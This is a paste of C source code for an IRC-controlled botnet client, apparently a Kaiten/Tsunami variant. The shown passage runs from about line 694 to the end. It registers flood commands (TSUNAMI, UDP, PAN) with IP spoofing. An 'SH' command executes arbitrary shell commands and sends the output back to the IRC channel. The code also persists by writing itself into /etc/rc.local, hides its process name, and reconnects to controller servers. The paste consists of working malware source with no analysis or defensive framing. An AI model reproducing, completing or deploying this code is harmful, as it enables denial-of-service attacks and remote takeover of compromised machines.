  694.         exit(0);
  695. }
  696. void killall(int sock, char *sender, int argc, char **argv) {
  697.         unsigned long i;
  698.         for (i=0;i<numpids;i++) {
  699.                 if (pids[i] != 0 && pids[i] != getpid()) {
  700.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  701.                         kill(pids[i],9);
  702.                 }
  703.         }
  704. }
  705. void killd(int sock, char *sender, int argc, char **argv) {
  706.     if (!disable) kill(0,9);
  707.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  708. }
  709. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  710.     { "TSUNAMI", tsunami },
  711.         { "PAN", pan },
  712.         { "UDP", udp },
  713.     { "UNKNOWN", unknown },
  714.  
  715.         { "NICK", nickc },
  716.         { "SERVER", move },
  717.     { "GETSPOOFS", getspoofs },
  718.         { "SPOOFS", spoof },
  719.  
  720.     { "DISABLE", disable },
  721.         { "ENABLE", enable },
  722.  
  723.         { "KILL", killd },
  724.     { "GET", get },
  725.         { "VERSION", version },
  726.         { "KILLALL", killall },
  727.         { "HELP", help },
  728. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  729. void _PRIVMSG(int sock, char *sender, char *str) {
  730.         int i;
  731.         char *to, *message;
  732.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  733.         str[i]=0;
  734.         to=str;
  735.         message=str+i+2;
  736.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  737.         sender[i]=0;
  738.         if (*message == '!' && !strcasecmp(to,chan)) {
  739.                 char *params[12], name[1024]={0};
  740.                 int num_params=0, m;
  741.                 message++;
  742.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  743.                 message[i]=0;
  744.                 if (strwildmatch(message,nick)) return;
  745.                 message+=i+1;
  746.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  747.                 if (!strncmp(message,"SH ",3)) {
  748.                         char buf[1024];
  749.                         FILE *command;
  750.                         if (mfork(sender) != 0) return;
  751.                         memset(buf,0,1024);
  752.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  753.                         command=popen(buf,"r");
  754.                         while(!feof(command)) {
  755.                                 memset(buf,0,1024);
  756.                                 fgets(buf,1024,command);
  757.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  758.                                 sleep(1);
  759.                         }
  760.                         pclose(command);
  761.                         exit(0);
  762.                 }
  763.                 m=strlen(message);
  764.                 for (i=0;i<m;i++) {
  765.                         if (*message == ' ' || *message == 0) break;
  766.                         name[i]=*message;
  767.                         message++;
  768.                 }
  769.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  770.                 num_params++;
  771.                 if (num_params > 10) num_params=10;
  772.                 params[0]=name;
  773.                 params[num_params+1]="\0";
  774.                 m=1;
  775.                 while (*message != 0) {
  776.                         message++;
  777.                         if (m >= num_params) break;
  778.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  779.                         params[m]=(char*)malloc(i+1);
  780.                         strncpy(params[m],message,i);
  781.                         params[m][i]=0;
  782.                         m++;
  783.                         message+=i;
  784.                 }
  785.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  786.                         if (!strcasecmp(flooders[m].cmd,name)) {
  787.                                 flooders[m].func(sock,sender,num_params-1,params);
  788.                                 for (i=1;i<num_params;i++) free(params[i]);
  789.                                 return;
  790.                         }
  791.                 }
  792.         }
  793. }
  794. void _376(int sock, char *sender, char *str) {
  795.         Send(sock,"MODE %s +wxi\n",nick);
  796.         Send(sock,"JOIN %s :%s\n",chan,key);
  797.         Send(sock,"WHO %s\n",nick);
  798. }
  799. void _PING(int sock, char *sender, char *str) {
  800.         Send(sock,"PONG %s\n",str);
  801.     reinstall();
  802. }
  803. void _352(int sock, char *sender, char *str) {
  804.         int i,d;
  805.         char *msg=str;
  806.         struct hostent *hostm;
  807.         unsigned long m;
  808.         for (i=0,d=0;d<5;d++) {
  809.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  810.                 if (i == strlen(str)) return;
  811.         }
  812.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  813.         msg[i]=0;
  814.         if (!strcasecmp(msg,nick) && !spoofsm) {
  815.                 msg=str;
  816.                 for (i=0,d=0;d<3;d++) {
  817.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  818.                         if (i == strlen(str)) return;
  819.                 }
  820.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  821.                 msg[i]=0;
  822.                 if ((m = inet_addr(msg)) == -1) {
  823.                         if ((hostm=gethostbyname(msg)) == NULL) {
  824.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  825.                                 return;
  826.                         }
  827.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  828.                 }
  829.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  830.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  831.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  832.                 ((char*)&spoofs)[0]=0;
  833.                 spoofsm=256;
  834.         }
  835. }
  836. void _433(int sock, char *sender, char *str) {
  837.         free(nick);
  838.         nick=makestring();
  839. }
  840. void _NICK(int sock, char *sender, char *str) {
  841.     int i;
  842.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  843.         sender[i]=0;
  844.     if (!strcasecmp(sender,nick)) {
  845.         if (*str == ':') str++;
  846.         if (nick) free(nick);
  847.         nick=strdup(str);
  848.     }
  849. }
  850. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  851.         { "352", _352 },
  852.         { "376", _376 },
  853.         { "433", _433 },
  854.         { "422", _376 },
  855.         { "PRIVMSG", _PRIVMSG },
  856.         { "PING", _PING },
  857.     { "NICK", _NICK },
  858. { (char *)0, (void (*)(int,char *,char *))0 } };
  859. void con() {
  860.         struct sockaddr_in srv;
  861.         unsigned long ipaddr,start;
  862.         int flag;
  863.         struct hostent *hp;
  864. start:
  865.     sock=-1;
  866.     flag=1;
  867.     sleep(10);
  868.     if (changeservers == 0) server=servers[rand()%numservers];
  869.     changeservers=0;
  870.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  871.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  872.         if ((hp = gethostbyname(server)) == NULL) {
  873.            
  874.             close(sock);
  875.             goto start;
  876.         }
  877.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  878.     }
  879.     else srv.sin_addr.s_addr=inet_addr(server);
  880.         srv.sin_family = AF_INET;
  881.         srv.sin_port = htons(25);
  882.     ioctl(sock,FIONBIO,&flag);
  883.     start=time(NULL);
  884.     while(time(NULL)-start < 10) {
  885.         errno=0;
  886.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  887.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  888.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  889.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  890.             return;
  891.         }
  892.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  893.         sleep(1);
  894.     }
  895.  
  896.     close(sock);
  897.     sleep(10);
  898.     goto start;
  899. }
  900.  
  901.  
  902.  
  903.  
  904. int main(int argc, char **argv) {
  905.         int on,i;
  906.         char cwd[256],*str;
  907.         FILE *file;
  908.  
  909.  
  910.  
  911.  
  912. /* single instance by kingcope  */
  913. int pid_file = open("/tmp/.x", O_CREAT | O_RDWR, 0666);
  914. int rc = flock(pid_file, LOCK_EX | LOCK_NB);
  915. if(rc) {
  916.     if(EWOULDBLOCK == errno)
  917.         ; // another instance is running
  918.  exit(1);
  919. }
  920.  
  921.  
  922.  
  923.  
  924.  
  925.  
  926.     str="/etc/init.d/rc.local";
  927.     file=fopen(str,"r");
  928.     if (file == NULL) {
  929.         str="/etc/rc.local";
  930.         file=fopen(str,"r");
  931.     }
  932.         if (file != NULL) {
  933.                 char outfile[256], buf[1024];
  934.                 int i=strlen(argv[0]), d=0;
  935.                 getcwd(cwd,256);
  936.                 if (strcmp(cwd,"/")) {
  937.                         while(argv[0][i] != '/') i--;
  938.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  939.                         while(!feof(file)) {
  940.                                 fgets(buf,1024,file);
  941.                                 if (!strcasecmp(buf,outfile)) d++;
  942.                         }
  943.                         if (d == 0) {
  944.                                 FILE *out;
  945.                                 fclose(file);
  946.                                 out=fopen(str,"a");
  947.                                 if (out != NULL) {
  948.                                         fputs(outfile,out);
  949.                                         fclose(out);
  950.                                 }
  951.                         }
  952.                         else fclose(file);
  953.                 }
  954.                 else fclose(file);
  955.         }
  956.  
  957.         if (fork()) exit(0);
  958. #ifdef FAKENAME
  959.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  960.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  961. #endif
  962.         srand((time(NULL) ^ getpid()) + getppid());
  963.         nick=makestring();
  964.         ident=makestring();
  965.         user=makestring();
  966.         chan=CHAN;
  967.     key=KEY;
  968.     server=NULL;
  969. sa:
  970. #ifdef IDENT
  971.         for (i=0;i<numpids;i++) {
  972.                 if (pids[i] != 0 && pids[i] != getpid()) {
  973.                         kill(pids[i],9);
  974.             waitpid(pids[i],NULL,WNOHANG);
  975.                 }
  976.         }
  977.     pids=NULL;
  978.     numpids=0;
  979.     identd();
  980. #endif
  981.     con();
  982.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  983.         while(1) {
  984.                 unsigned long i;
  985.                 fd_set n;
  986.                 struct timeval tv;
  987.                 FD_ZERO(&n);
  988.                 FD_SET(sock,&n);
  989.                 tv.tv_sec=60*20;
  990.                 tv.tv_usec=0;
  991.         sleep(1);
  992.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  993.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  994.                         unsigned int *newpids,on;
  995.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  996.             pids[on-1]=0;
  997.                         numpids--;
  998.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  999.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1000.                         free(pids);
  1001.                         pids=newpids;
  1002.                 }
  1003.                 if (FD_ISSET(sock,&n)) {
  1004.                         char buf[4096], *str;
  1005.                         int i;
  1006.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1007.                         buf[i]=0;
  1008.                         str=strtok(buf,"\n");
  1009.                         while(str && *str) {
  1010.                                 char name[1024], sender[1024];
  1011.                                 filter(str);
  1012.                                 if (*str == ':') {
  1013.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1014.                                         str[i]=0;
  1015.                                         strcpy(sender,str+1);
  1016.                                         strcpy(str,str+i+1);
  1017.                                 }
  1018.                                 else strcpy(sender,"*");
  1019.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1020.                                 str[i]=0;
  1021.                                 strcpy(name,str);
  1022.                                 strcpy(str,str+i+1);
  1023.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1024.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1025.                                 str=strtok((char*)NULL,"\n");
  1026.                         }
  1027.                 }
  1028.         }
  1029.         return 0;
  1030. }
  1031.  
  1032.  
  1033. //============
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement